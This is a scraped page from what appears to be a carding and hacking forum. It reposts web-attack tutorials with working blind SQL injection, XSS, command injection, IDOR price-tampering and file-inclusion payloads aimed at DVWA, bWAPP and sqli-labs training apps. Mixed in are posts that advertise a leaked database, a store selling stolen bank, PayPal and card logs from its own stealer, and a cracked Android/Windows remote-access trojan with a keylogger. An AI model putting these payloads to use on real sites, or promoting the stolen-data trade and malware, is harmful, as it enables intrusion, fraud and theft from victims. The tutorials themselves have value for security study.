We received TRUE which means the first string must be more than 50.
[Image: 24.png?w=687&ssl=1]
Similarly,
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 60 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 60 --+

We received TRUE which means the first string must be more than 60.
[Image: 25.png?w=687&ssl=1]
Similarly,
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 70 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 70 --+

We received FALSE which means the first string is less than 70.
Hence first string must lie between 60 and 70 of ascii code.
[Image: 26.png?w=687&ssl=1]
Proceeding towards comparing string from different ascii code using the following query.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) = 68 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) = 68 --+

This time successfully receive TRUE with appearing text “you are in”.
Similarly, I had tested for all four string in order to retrieve username:
1 = D = 68
2 = u = 117
3 = m = 109
4 = b = 98
Hence today we had learned how attacker hacked database using blind SQL injection.
!!Try yourself to retrieve the password for user dumb!!
[Image: 27.png?w=687&ssl=1]

Google is a tool which helps in finding what one is looking for. Google operators are the terms provided to us for making our search easy and refined. These operators also termed as advanced Google operators provide the exact information. It reduces the time of the search by instantly providing the information as we don’t have to move from one page to another one. These operators’ works as a query.
The basic syntax is->operator: term to be searched
Some of these operators are enlisted below:
Intitle
e.g->intitle:hackingarticles
This query will return the pages which include the term “hackingarticles” in it.
[Image: 1.png?w=687&ssl=1]
inurl
e.g->inurl:hackingarticles
This query will return the pages which include the term hackingarticles in its URL.
[Image: 2.png?w=687&ssl=1]
Related
e.g->related:pentest
It will provide the result related to our query i.e.pentest
[Image: 3.png?w=687&ssl=1]
Allintext
This operator will perform the task of locating a particular string in the text of the page.
e.g->allintext:rajchandel
The above-given query will return only those pages which include the terms rajchandel in the text.
[Image: 4.png?w=687&ssl=1]
Cache
This operator will show the cached version of the webpage instead of the current one. This operator is followed by the URL of the page of which we want to have the cached version.
[Image: 6.png?w=687&ssl=1]
Define
This operator provides the definition of a term as a result.
e.g->define:pentest.
[Image: 11.png?w=687&ssl=1]
Link
This operator will help you to search the pages which link to other pages. This operator is provided a URL instead of a term to search.
e.g->link:www.kccitm.edu.in
[Image: 9.png?w=687&ssl=1]
Allintitle
This operator is slightly different from the intitle operator.
In intitle operator, there was no compulsion of the term in the query to be present in the title whereas in allintitle operator this is must for the term in the query to be present in the title.
e.g->allintitle:hackingarticles
[Image: 10.png?w=687&ssl=1]
ADVANTAGES:

  1. These operators provide the exact results which we are looking for.
  2. There is no wastage of time as there is no redirecting from one page to another.
  3. There are different operators for every task to perform i.e. Phonebook to obtain residential and business phone numbers and so on.
DISADVANTAGES
There are some operators which do not mix with another in the same query, for e.g, allintitle,allintext operators .
BASIC GUIDELINES TO USE GOOGLE OPERATORS
  1. There should be no space between the operators, colon and the search as violating this rule will not generate the desired result.
  2. If the search term is a phrase then there should be no space between the operator, colon as well as the first quote of the phrase.
  3. Some advanced operators cannot be combined with others such as allintitle, allintext etc.
  4. Boolean operators and special characters such as ‘OR’ and ‘+’ can be used in the queries but they should not be placed in the way of the colon.
HOW HACKERS USE GOOGLE OPERATORS
Everyone uses google but most of them don’t know to make use of google.
Google operators are very famous among hackers and they take full benefit of it.
Sensitive information needed by hackers which are not easily retrieved through common search can be produced by the help of Google operators.
If a hacker wants to retrieve a pdf file of a particular site then he/she has to use the operator “Filetype” with the URL as well as the extension of the file.
A hacker can retrieve the site of the specified domain with the help of the operator “site”. This operator is followed by the separating colon and the domain name.
It’s an easy tool for a hacker to get the exact outcome in just a click.
Thanks for reading the article. In the next article, we will be discussing more google dorks with web penetration testing.


  [Guide] How to Insecure Direct Object References (IDOR) For Beginner
Posted by: NINZA - 05-04-2020, 06:15 PM - Forum: Carders Home - No Replies

Insecure Direct Object References (IDOR) has been placed fourth on the list of OWASP Top 10 Web application security risks since 2013. It allows an authorized user to obtain information from other users and could be established in any type of web applications. Basically, it allows requests to be made to specific objects through pages or services without the proper verification of requester’s right to the content.
OWASP definition: Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user-supplied input and uses it to retrieve an object without performing sufficient authorization checks.
The Application uses untested data in a SQL call that is accessing account information.
Let consider a scenario where a web application allows the login user to change his secret value.
Here you can see the secret value must be referring to some user account of the database.
Currently, user bee is login into a web server for changing his secret value but he is willing to perform some mischievous action that will change the secret value for another user.
[Image: 1.png?w=687&ssl=1]
Using burp suite we had captured the request of the browser where you can see in the given image login user is the bee and secret value is hello; now manipulate the user from another user.
SQLquery = “SELECT * FROM useraccounts WHERE account = ‘bee’;
[Image: 2.png?w=687&ssl=1]
Now let’s change user name into raj as shown in the given image. To perform this attack in an application it requires at least two user accounts.
SQLquery = “SELECT * FROM useraccounts WHERE account = ‘raj’;
[Image: 3.png?w=687&ssl=1]
Great!!!  We have successfully changed the secret value for raj.
Note: in any official website the attacker will replace user account from an admin account.
[Image: 4.png?w=687&ssl=1]
Let take another scenario that looks quite familiar for most of the IDOR attack.
Many times we book different order online through their web application, for example, bookmyshow.com for movie ticket booking.
Let consider the same scenario in bwapp for movie ticket booking, where I had book 10 tickets of 15 EUR for each.
Now let’s confirm it and capture the browser request through burp suite.
[Image: 5.png?w=687&ssl=1]
Now you can see we have intercepted request were highlighted text contains a number of tickets and price of one ticket i.e 15 EUR it means it will reduce 150 EUR from my (user) account; now manipulate this price from your desired price.
[Image: 6.png?w=687&ssl=1]
I had changed it into 1 EUR which means now it will reduce only 10 EUR from the account, you can observe it from a given image then forward the request.
[Image: 7.png?w=687&ssl=1]
Awesome!!! We had booked the 10 tickets in 10 EUR only.
[Image: 8.png?w=687&ssl=1]

The dynamic Web applications may make the most of the scripts to call up some functionality in the command line on the web server to process the input that received from the client and unsafe user input may lead to OS command injection.  OS Command injection is referred as shell injection attack arise when an attacker tries to perform system level commands through a vulnerable application in order to retrieve information of web server or try to make unauthorized access into the server.
Impact Analysis
Impact: Critical
Ease of Exploitability: Medium
Risk Rating: High
In this attack the attacker will inject his unwanted system level command so that he can fetch the information of web server; for example ls, whoami, uname -a and etc.
Let’s consider a scenario where web application allows the user to PING an IP another user so that it get confirms that the host connection
[Image: 1.png?w=687&ssl=1]
Verify parameters to inject data
The following parameters should be tested for command injection flaws, as the application may be using one of these parameters to build a command back at the web server:

  • GET: In this method input parameters are sent in URLs.
  • POST: In this method, input parameters are sent in the HTTP body.
  • HTTP header: Applications frequently use header fields to discover end users and display requested information to the user based on the value in the headers.
Some of the important header fields to check for command injection are:
  • Cookies
  • X-Forwarded-For
  • User-agent
  • Referrer
METACHARACTER
Using vulnerability scanner attacker come to know that current web application is vulnerable to command injection and try injecting system level unwanted command using Meta character.
Metacharacter is symbolic operators which are used to separate actual command from unwanted command. The ampercent (&) was used as a separator that would divide the authentic input and the command that you are trying to inject.
It will more clear in following image where the attacker will inject his payload dir using metacharacter that retrieves a present directory of the web server. 
[Image: 2.png?w=687&ssl=1]
As result, it will dump the following output as shown in the given image where it has validated wrong user input.
[Image: 3.png?w=687&ssl=1]
OS Command Injection Operators
The developer possibly will set filters to obstruct some metacharacter. This would block our injected data, and thus we need to try out with other metacharacters too, as shown in the following table:
Operators
Description
;
The semicolon is most common metacharacter used to test an injection flaw. The shell would run all the commands in sequence separated by the semicolon.
&
It separates multiple commands on one command line. It runs the first command then the second command.
&&
It runs the command following  && only if the preceding command is successful
||(windows)
It runs the command following || only if the preceding command fails. Runs the first command then runs the second command only if the first command did not complete successfully.
|| ( Linux)
Redirects standard outputs of the first command to standard input of the second command
‘
The unquoting metacharacter is used to force the shell to interpret and run the command between the backticks. Following is an example of this command: Variable= “OS version
Code:
The contents of this section are hidden for your group

Register or Login
” && echo $variable
()
It is used to nest commands
#
It is used as a command line comment
Steps to exploit – OS Command Injection
Step 1: Identify the input field
Step 2: Understand the functionality
Step 3: Try the Ping method time delay
Step 4: Use various operators to exploit OS Command Injection
Type of Command Injection
Error based injection: When an attacker injects a command through an input parameter and the output of that command is displayed on the certain web page, it proves that the application is vulnerable to the command injection. The displayed result might be in the form of an error or the actual outcomes of the command that you tried to run. An attacker then modifies and adds additional commands depending on the shell the web server and assembles information from the application.
Blind based Injection: The results of the commands that you inject will not be displayed to the attacker and no error messages are returned it similar as blind SQL injection. The attacker will use another technique to identify whether the command was really executed on the server.
Mitigation-OS Command Injection
  • Strong server-side validation
  • Implement a white list
  • OS Hardening
  • Use build-in API’s for interacting with the OS if needed. More secure!!
  • Avoid applications from calling out directly the OS system commands
This article is written to bring awareness among all security researchers and developers so that they may be able to learn the level of damage caused by XSS attack if the web server is suffering from cross-site scripting vulnerability.
DOM Based XSS (TYPE 0)
The DOM-Based Cross-Site Scripting is vulnerability which appears in a document object model instead of the html page. An attacker is not allowed to execute malicious script on the user’s website although on his local machine in URL, it is quite different from reflected and XSS because in this attack developer cannot able to find malicious script in HTML source code as well as in HTML response, it can be observed at execution time.
This can make it stealthier than other attacks and WAFs or other protections which are reading the page body does not see any malicious content.
Let’s start!!!
Target: DVWA
Low security
For this tutorial I had targeted DVWA and explore localhost IP in the browser; now login with admin: password into a web application and Set security level low.
[Image: 1.png?w=687&ssl=1]
Select the DOM cross-site scripting vulnerability from a given list of vulnerability. The web application allows the user to select any language from drop-down list.
[Image: 2.png?w=687&ssl=1]
Now let’s understand the current scenario when security is low; in this part, the developer has not added any filter while framing the code for a web site that could check for any malicious activity. Hence if an attacker opens the website in low security and tries for XSS attack possible he gets successful in his deed. 
[Image: 3.1.png?w=687&ssl=1]
http://localhost:81/dvwa/vulnerabilities/xss_d/?default=English
1
http://localhost:81/dvwa/vulnerabilities/xss_d/?default=English

The JavaScript code obtains value from the URL parameter “default” and writes the value in the webpage and as the result, the web page shows English as output. Now attacker will inject following code into URL <script>alert(“hack”);</script> and send this link to the client through social engineering.
http://localhost:81/dvwa/vulnerabilities/xss_d/?default=English<script>alert("hack");</script>
1
http://localhost:81/dvwa/vulnerabilities/xss_d/?default=English<script>alert("hack");</script>

Great!! Now you can check the output in the given screenshot.
[Image: 3.png?w=687&ssl=1]
Medium Security
Let change the security level from low to medium level
[Image: 4.png?w=687&ssl=1]
In medium security, the developer has tried to add a simple pattern matching to remove any references to “<script” to disable any JavaScript for location default =English, hence above JavaScript code will not run to execute malicious script in medium security level. Find a way to run JavaScript without using the script tags
[Image: 5.1.png?resize=613%2C273&ssl=1]
http://localhost:81/dvwa/vulnerabilities/xss_d/?default=English
1
http://localhost:81/dvwa/vulnerabilities/xss_d/?default=English

Similarly, this time attacker will try a different technique to exploit the vulnerability, he can insert malicious script using JavaScript onload function >onload=alert(“XSS”)> and send the link to victim. In this level attacker first, need to break out the select block to inject body onload or image tag.
http://localhost:81/dvwa/vulnerabilities/xss_d/?default=English>/opttion></select><body onload=alert("XSS")>
1
http://localhost:81/dvwa/vulnerabilities/xss_d/?default=English>/opttion></select><body onload=alert("XSS")>

[Image: 5-1.png?resize=687%2C521&ssl=1]
High Security
Now increase the security level from medium to high.
[Image: 6.png?resize=267%2C129&ssl=1]
In high security, the developer is now whitelisting only the allowed languages, you must find a way to run your code without it going to the server.
[Image: 7.1.png?resize=622%2C365&ssl=1]
http://localhost:81/dvwa/vulnerabilities/xss_d/?default=English
1
http://localhost:81/dvwa/vulnerabilities/xss_d/?default=English

The fragment section of a URL anything after the # (hash) symbol does not get sent to the server and so cannot be blocked. The bad JavaScript being used to make the page reads the content from it when creating the page.
http://localhost:81/dvwa/vulnerabilities/xss_d/?default=English#<script>alert("you have been hacked");</script>
1
http://localhost:81/dvwa/vulnerabilities/xss_d/?default=English#<script>alert("you have been hacked");</script>

Awesome!!! We have successfully bypassed all three security level of DVWA
[Image: 7.png?resize=655%2C405&ssl=1]

JavaScript
JavaScript is the programming language of the web. It’s one of the most popular and in-demand skills in today’s job market for good reason. JavaScript enables you to add powerful interactions to websites
A Scripting Language understood by the browser.
JS is embedded in HTML Pages
The Browser RUNS the js instead of displaying it
Event Handler
When JavaScript is used in HTML pages, JavaScript can “react” on these events.
When the page loads, it is called an event. When the user clicks a button, that clicks to is an event. Other examples include events like pressing any key, closing a window, resizing a window, etc.
Onload 
Basically, javascript uses the onload function to load an object on any web page. For example, I want to generate an alert for user those who visit my website; I will give the following JavaScript code.
<body onload=alert(‘Welcome to Hacking Articles’)>
So whenever the body tag loads, an alert will pop up with the following text Welcome to Hacking Articles for the visitors. Here the loading of the body tag is an event or a happening and onload is an event handler which decides what will action will happen on that event.
Similarly, there are many JavaScript event handlers which define what event occurs for such type of action like scroll down of the page, or when an image fails to load etc.
Onmouseover
Onmouseover, when the user moves his cursor over the text, the additional code will be executed. For example, let understand the following code:
<a onmouseover=alert(“50% discount”)>surprise</a>
Now when the user moves his cursor over the surprise the displayed text on the page, an alert box will pop up with 50% discount.
onclick:
Use this to invoke JavaScript upon clicking (a link, or form boxes)
onload:
Use this to invoke JavaScript after the page or an image has finished loading
onmouseover
Use this to invoke JavaScript if the mouse passes by some link
onmouseout
Use this to invoke JavaScript if the mouse goes pass some link
onunload
Use this to invoke JavaScript right after someone leaves this page.
Cross Site Scripting (XSS)
XSS is listed as top third web application security risk in the OWASP to top 10 risk model 2017.
Cross-site scripting (XSS) is a flaw in a web application that allows an attacker to execute malicious JavaScript through a code injection attack in another victim’s browser.
In this attack user is not directly targeted through a payload, although attacker shoot the XSS vulnerability by inserting malicious script into a web page that appears to be a genuine part of the website to the users, whenever any user visit that website it will automatically send the malicious JavaScript code in his browser without his knowledge.
Let’s take an example that following code is XSS vulnerable, an attacker may possibly present a history that holds a malicious payload such as <script>alert(HACK);</script>
Print “<html>”
Print “<h1>Recent History</h1>”
Print request.Recent History print “</html>“
Users visiting the web page will get the following HTML page without his knowledge.
<html>
<h1> Recent History </h1>
<script>alert (HACK);</script>
</html>       
[Image: 0.jpg?w=687&ssl=1]
Types of XSS:
There are actually three types of Cross-Site Scripting, commonly named as:
  • Persistent XSS
  • Non-persistent XSS
  • DOM-Based XSS
Persistent
A persistent XSS also was known as stored XSS because through this vulnerability the injected malicious script get permanently stored inside the web server and the application server give out it back to the user when he visits the respective website. Hence when the client will click on payload which appears as an official part of the website, the injected JavaScript will get executed by the browser. The most common example is comment option on blogs, which allow the users to POST their comment for the administrator or another user.
Persistent XSS is considered more dangerous because the malicious payload is stored inside the web server as the more visitors will interact with the website will result in more XSS infected user. The attack does not require the phishing technique to target its users.
Example:
An example of a web application vulnerable to stored XSS as shown in the screenshot.
<script>alert(document.cookie)</script>
1
<script>alert(document.cookie)</script>

This JavaScript gets stored in the database of the web application and gets executed on the victim’s browser, which captures the cookie and sends it to the attacker   
[Image: 4.png?w=687&ssl=1]
Read complete article from

[To see content please register here]


Non-Persistent
The non-persistent XSS is also known as reflected XSS occurs when the web application responds immediately on user’s input without validating the inputs this lead an attacker to inject browser executable code inside the single HTML response. It’s named as “non-persistent” since the malicious script does not get stored inside the web server, therefore attacker will send the malicious link through phishing to trap the user.
The most common applying of this kind of vulnerability is in Search engines in the website: the attacker writes some arbitrary HTML code in the search textbox and, if the website is vulnerable, the result page will return the result of these HTML entities.
Example:
An example of a web application vulnerable to reflected XSS as shown in the screenshot.
<script>alert(“hellllooo”)</script>
1
<script>alert(“hellllooo”)</script>

It is also known as type 1 because this attack is carried out through a single request/response then gets executed on the victim’s browser, and will prompt an alert “hellllooo” to his browser.
[Image: 2.png?w=687&ssl=1]
Read complete article from

[To see content please register here]


DOM-Based
The Document Object Model (DOM) is an API that increases the skill of programmers or developers to produce and change HTML and XML documents as programming objects.
The JavaScript language is used in DOM, which is also used for other websites. Through JavaScript it allows the programmer to make the dynamic changes in HTML document can be accessed, modify, deleted, or added using the DOM.
When an HTML document is loaded into a web browser, it becomes a document object.
The document object is the root node of the HTML document and the “owner” of all other nodes
The HTML DOM model is constructed as a tree of Objects
[Image: 1.gif?w=687&ssl=1]
With the object model, JavaScript gets all the power it needs to create dynamic HTML:
  • JavaScript can change all the HTML elements in the page
  • JavaScript can change all the HTML attributes in the page
  • JavaScript can change all the CSS styles in the page
  • JavaScript can remove existing HTML elements and attributes
  • JavaScript can add new HTML elements and attributes
  • JavaScript can react to all existing HTML events in the page
  • JavaScript can create new HTML events on the page
The DOM-Based Cross-Site Scripting is vulnerability which appears in a document object model instead of the html page. An attacker is not allowed to execute malicious script on the user’s website although on his local machine in URL, it is quite different from reflected and XSS because in this attack developer cannot able to find malicious script in HTML source code as well as in HTML response, it can be observed at execution time.
The DOM-Based XSS exploits these problems on the user’s local machines in this way:
– The attacker creates a well-built malicious website
– The ingenious user opens that sites
– The user has a vulnerable page on his machine
– The attacker’s website sends commands to the vulnerable HTML page
– The vulnerable local page executes that commands with the user’s privileges on that machine.
– The attacker easily gains control of the victim computer.
Example:
The following screenshot is an example of a web application server that is affected with DOM-based XSS attack. The web application let you choose the following language and will execute through URL.
http://localhost:81/dvwa/vulnerabilities/xss_d/?default=English
1
http://localhost:81/dvwa/vulnerabilities/xss_d/?default=English

The attacker will add malicious script inside URL
http://localhost:81/dvwa/vulnerabilities/xss_d/?default=English#<script>alert("you have been hacked");</script>
1
http://localhost:81/dvwa/vulnerabilities/xss_d/?default=English#<script>alert("you have been hacked");</script>

The major difference between DOM XSS and Reflected or Stored XSS flaw is that it cannot be stopped by server-side filters because anything written after the “#” (hash) will never forward to the server.
[Image: 7.png?w=687&ssl=1]
Source:

[To see content please register here]


             

[To see content please register here]


  SOI leak DB
Posted by: pitbull10022 - 05-04-2020, 10:20 AM - Forum: Leaked Databases - No Replies

[To see content please register here]


  HTML Teacher V4 - (HTML Protector 3.6 Reversed) - Free Download
Posted by: hacxx - 05-02-2020, 07:06 PM - Forum: Hacking - No Replies

[Image: print.jpg]

HTML Protector is a program to protect web pages and i decided to reverse the code to get some samples. There isn't much to it as it is a simple program that encodes pages with some protections and it has been discontinued.

Download 1:

[To see content please register here]

[To see content please register here]

[To see content please register here]


Download 2:

[To see content please register here]

[To see content please register here]

[To see content please register here]


  Ross Logs Store- TOP LOGS store in the world 24/7 PP/Amazon/Ebay/Banks/BTC/CC
Posted by: rossbellfort - 05-02-2020, 06:55 PM - Forum: I Sell Open Source - No Replies

[Image: gfFHLc2.gif]
The largest store with excellent logs worldwide is glad to welcome you.
A huge amount of stuff from our own "RBSTEALER" stealer is always available in a large assortment.
We load traffic without breaks 24/7, 12 months a year. In assortment our shop has all countries of Europe and the USA.
We have the freshest product among competitors.
The best quality stuff you can buy only from us!
Payment is accepted only in bitcoin.
Warranty for a 1 log - 2 hours (2 logs - 4 hours, 3 logs - 6 hours and so on). After the expiration of time, we do not accept any claims.
A guarantee for mail is not distributed (Because mail has a high validity as a rule) * Doesn't apply to purchases of crypto exchanges.
If you want to get a replacement for a log - please, indicate the reason, arguing with a screenshot.
The selection for all is the same: valid username and password from the purchased link and the presence of 3 or more lines in coocies of your request.
Claims are not accepted if there is not enough money on the account you need / 2FA authorization or there is a limit on cash transactions.
We don’t give out logs for free, but you can get an example of a log for viewing the contents.
Deposits are not accepted, the purchase is made solely upon the availability of logs.
Buying a log you automatically agree with the rules of the service.
It is impossible to receive a refund if the log just did not suit to you.
All claims for returns or exchanges are accepted only within two days from the date of purchase. After all requests will be rejected.
In case of fraud on your part regarding the log validation - refusal to return funds, and you will also be blacklisted on our site.

[To see content please register here]

[To see content please register here]

[To see content please register here]


  WH-Rat Android+Windows
Posted by: bilalkhanicom - 05-02-2020, 06:24 PM - Forum: Hacking Tools - No Replies

[Image: Screenshot-4.png]


WH-Rat Android+Windows



==========
File Manager
SMS Manager
Calls Manager
Contacts Manager
Location Manager
Account Manager
Camera Manager
Shell Terminal
Applications
MicroPhone
Keylogger
Setting
Clients
Phone
Chat
FUn


[To see content please register here]





[To see content please register here]





[To see content please register here]



WH-Rat Android+Windows,WH-Rat cracked,WH-Rat Android rat,free WH-Rat Android,download WH-Rat Android,free download WH-Rat Android+Windows


  [Guide] How to Understanding the HTTP Protocol
Posted by: NINZA - 05-02-2020, 12:01 PM - Forum: Carders Home - No Replies

HTTP (Hyper Text Transfer Protocol) is basically a client-server protocol, wherein the client (web browser) makes a request to the server and in return, the server responds to the request. The response by the server is mostly in the form of HTML formatted pages. HTTP protocol by default uses port 80, but the web server and the client can be configured to use a different port.
HTTP is a stateless protocol which means that the server does not retain the information from each user. HTTP is the backbone of the World Wide Web (www) and for it being stateless simply means that it does not remember each and every client that connects to the internet and it does not matter if a single user sends multiple requests one after another, they all will still be treated as independent requests by the server.
We are currently using HTTP 2, its predecessors were HTTP 1.0 and 1.1, and the major differences between 1.X and 2, at a higher level, are:

  • Http 2 is binary and not textual
  • Http 2 is multiplexed, it can use a single connection for parallelism, Http one, on the other hand, is based on ordering and blocking.
  • Http 2 uses compression in its headers to reduce the overhead.
  • Http2 gives servers the capability to “push” responses to client servers proactively.
HTTP works through different methods and these methods are:
HTTP Request Methods
Method
Description
GET
Used to retrieve information from the given URL
POST
Used to send data to the server, for example, customer information, file upload, etc. using HTML forms
DELETE
Delete a File of the specified URL
PUT
Uploads a File of the specified URL
TRACE
Trace on the jsp resource returns the content of the resource.
HEAD
GET only HTTP headers and no document body
OPTIONS
HTTP methods that the server supports
There is a major difference between GET and POST method which people fail to understand. Once you understand these properly, you can manipulate and increase the security of your web application. The differences are as follows:
GET
POST
Get request can be cached
Post request are never cached
Remain in the browser history
Do not remain in the browser history
It can be bookmarked
It cannot be bookmarked
Get request should never be used when dealing with sensitive data
The post should always be used for sensitive data
Get request has a length restriction
post request has no length restriction
Get request should be used to retrieve data

It is less secure
It is more secure
An HTTP client sends an HTTP request to a server in the form of a request message which includes the following format

[To see content please register here]

GET / HTTP/1.1
Host: yahoo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

1
2
3
4
5
6
7
8
9

[To see content please register here]

GET / HTTP/1.1
Host: yahoo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

There are several fields in the header, but we will discuss the more important ones:
Host: This field is in the header and it is used to identify individual website by a hostname if they are sharing the same IP address. The client web browser also sets a user-agent string to identify the type and version of the browser.
User-Agent: This field is set correctly to its default values by the web browser, but it can be spoofed by the end user. This is usually done by the malicious user to retrieve contents designed for other types of web browsers.
Cookie: This field stores a temporary value shared between the client and server for session management.
Referer: This is another important field that you would often see when you are redirected from one URL to another. This field contains the address of the previous web page from which a link to the current page was followed. Attackers manipulate the Referer field using an XSS attack and redirect the user to a malicious website.
Accept-Encoding: This field defines the compression scheme supported by the client; gzip and Deflate are the most common ones. There are other parameters too, but they are of little use to penetration testers.
Response
Response: When a request is sent to the server; the server replies in the form of response. Following is an example of a response:
HTTP/1.1 200 OK
Date: Sat, 10 Jun 2017 05:17:18 GMT
Set-Cookie: autorf=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/;
domain=in.yahoo.com
Content-Type: text/html; charset=UTF-8
Server: ATS
Expires: -1
Content-Length: 477864

1
2
3
4
5
6
7
8

HTTP/1.1 200 OK
Date: Sat, 10 Jun 2017 05:17:18 GMT
Set-Cookie: autorf=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/;
domain=in.yahoo.com
Content-Type: text/html; charset=UTF-8
Server: ATS
Expires: -1
Content-Length: 477864

HTTP Response Code: The Status-Code element is a 3-digit integer where the first digit of the Status-Code defines the class of response and the last two digits do not have any categorization role. There are 5 values for the first digit
Code
Meaning
Example
1xx
Information
100: server agrees to handle a client request.
2xx
Success
200: request succeeded.

204: no client present.
3xx
Redirection
301: page moved.

304: cached page still available.
4xx
Client error
403: forbidden page.

404: page not found.
5xx
Server error
500: internal server error.

503: try again later.
HTTP Version: A server supporting HTTP version 1.1 will return the following version information
Date: The date and time that the message was originated
Set-Cookie: This field, if defined, will contain a random value that can be used by the server to identify the client and store temporary data
Server: This field is of interest to a penetration tester and will help in the recon phase of a test. It displays useful information about the web server hosting the website.
Content-Length: This field will contain a value indicating the number of bytes in the body of the response. It is used so that the other party can know when the current request/response has finished.
Source:

[To see content please register here]


[To see content please register here]


[To see content please register here]



You can insert the content of one PHP file into another PHP file before the server executes it, with the include () function. The function can be used to create functions, headers, footers or element that will be reused on multiple pages.
This will help developers to make it easy to change the layout of a complete website with minimal effort.
If there is any change required then instead of changing thousands of files just change the included file.
Assume we have a standard footer file called “footer.php“, that looks like this
<?php
echo "<p>Copyright &copy; 2010-" . date("Y") . " hackingartices.in</p>";
?>

1
2
3

<?php
echo "<p>Copyright &copy; 2010-" . date("Y") . " hackingartices.in</p>";
?>


Example 1
To include the footer file in a page, use the include statement
<html>
<body>
<h1>Welcome to Hacking Articles</h1>
<p>Some text.</p>
<p>Some more text.</p>
<?php include 'footer.php';?>
</body>
</html>

1
2
3
4
5
6
7
8

<html>
<body>
<h1>Welcome to Hacking Articles</h1>
<p>Some text.</p>
<p>Some more text.</p>
<?php include 'footer.php';?>
</body>
</html>


Example 2
Assume we have a file called “vars.php“, with some variables defined:
<?php
$color='red';
$car='BMW';
?>

1
2
3
4

<?php
$color='red';
$car='BMW';
?>


<html>
<body>
<h1>Welcome to my home page!</h1>
<?php include 'vars.php';
echo "I have a $color $car.";
?>
</body>
</html>

1
2
3
4
5
6
7
8

<html>
<body>
<h1>Welcome to my home page!</h1>
<?php include 'vars.php';
echo "I have a $color $car.";
?>
</body>
</html>

Output: I have red BMW
PHP Require Function
The require statement is also used to include a file into the PHP code.
However, there is one big difference between include and require; when a file is included with the include statement and PHP cannot find it, the script will continue to execute:
Example 3

<html>
<body>
<h1>Welcome to my home page!</h1>
<?php include 'noFileExists.php';
echo "I have a $color $car.";
?>
</body>
</html>

1
2
3
4
5
6
7
8

<html>
<body>
<h1>Welcome to my home page!</h1>
<?php include 'noFileExists.php';
echo "I have a $color $car.";
?>
</body>
</html>

Output: I have a Red BMW
If we do the same example using the require statement, the echo statement will not be executed because the script execution dies after the require statement returned a fatal error:
<html>
<body>
<h1>Welcome to my home page!</h1>
<?php require 'noFileExists.php';
echo "I have a $color $car.";
?>
</body>
</html>

1
2
3
4
5
6
7
8

<html>
<body>
<h1>Welcome to my home page!</h1>
<?php require 'noFileExists.php';
echo "I have a $color $car.";
?>
</body>
</html>

No output result
PHP Required_once Function
Require_once() using this function we can access the data of another page once when you may need to include the called file more than once, It works the same way. The only difference between require and require_once is that If it is found that the file has already been included, calling script is going to ignore further inclusions.
Example 4

echo.php
<?php
echo "Hello";
?>

1
2
3
4

echo.php
<?php
echo "Hello";
?>

test.php
<?php
require('echo.php');
require_once('echo.php');
?>

1
2
3
4

<?php
require('echo.php');
require_once('echo.php');
?>

outputs: “Hello”
Note
allow_url_include is disabled by default. If allow_url_fopen is disabled, allow_url_include is also disabled
You can enable allow_url_include from php.ini
/etc/php7/apache2/php.ini
allow_url_include = On

1
2

/etc/php7/apache2/php.ini
allow_url_include = On


File Inclusion Attacks
It is an attack that allows an attacker to include a file on the web server through a php script. This vulnerability arises when a web application lets the client submit input into files or upload files to the server.
This can lead to the following attacks:
  • Code execution on the web server
  • Cross Site Scripting Attacks (XSS)
  • Denial of service (DOS)
  • Data Manipulation Attacks
Two Types:
  • Local File Inclusion
  • Remote File Inclusion
Local File Inclusion (LFI)
Local file inclusion vulnerability occurs when a file to which to PHP account has accessed is passed as a parameter to the PHP function “include”, or “require_once”
[Image: 1.png?w=687&ssl=1]
This vulnerability occurs, for example, when a page receives, as inputs the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected.
Example – Local File Inclusion

[To see content please register here]


1

[To see content please register here]


[Image: 2.png?w=687&ssl=1]

[To see content please register here]


1

[To see content please register here]


[Image: 3.png?w=687&ssl=1]
Read complete local file inclusion attack tutorial from

[To see content please register here]


Remote File Inclusion (RFI)
Remote File Inclusion occurs when the URI of a file located on a different server is passed to as a parameter to the PHP function “include”, “include_once”, “require”, or “require_once”. PHP incorporates the content into the pages. If the content happens to be PHP source code, PHP executes the file.
PHP Remote File inclusion allows an attacker to embed his/her own PHP code inside a vulnerable  PHP script, which may lead to disastrous results such as allowing the attacker to execute remote commands on the web server, deface parts of the web or even steal confidential information.

[To see content please register here]

http:// 192.168.1.8/dvwa/vulnerabilities/fi/?page=http://google.com

1
2

[To see content please register here]

http:// 192.168.1.8/dvwa/vulnerabilities/fi/?page=http://google.com

[Image: 4.png?w=687&ssl=1]
Mitigation
  • Strong Input Validation
  • A whitelist of acceptable inputs
  • Reject any inputs that do not strictly conform to specifications
  • For filenames, use stringent whitelist that limits the character set to be used
  • Exclude directory separators such as “/”
  • Use a whitelist of allowable file extensions
  • Environment Hardening
  • Develop and run your code in the most recent versions of PHP available
  • Configure your PHP applications so that it does not use register_globals
  • Set allow_url_fopen to false, which limits the ability to include files from remote locations
  • Run your code using the lowest privileges
  • Use a vetted library or framework that does not allow this weakness.
Source:

[To see content please register here]


             

[To see content please register here]


             

[To see content please register here]



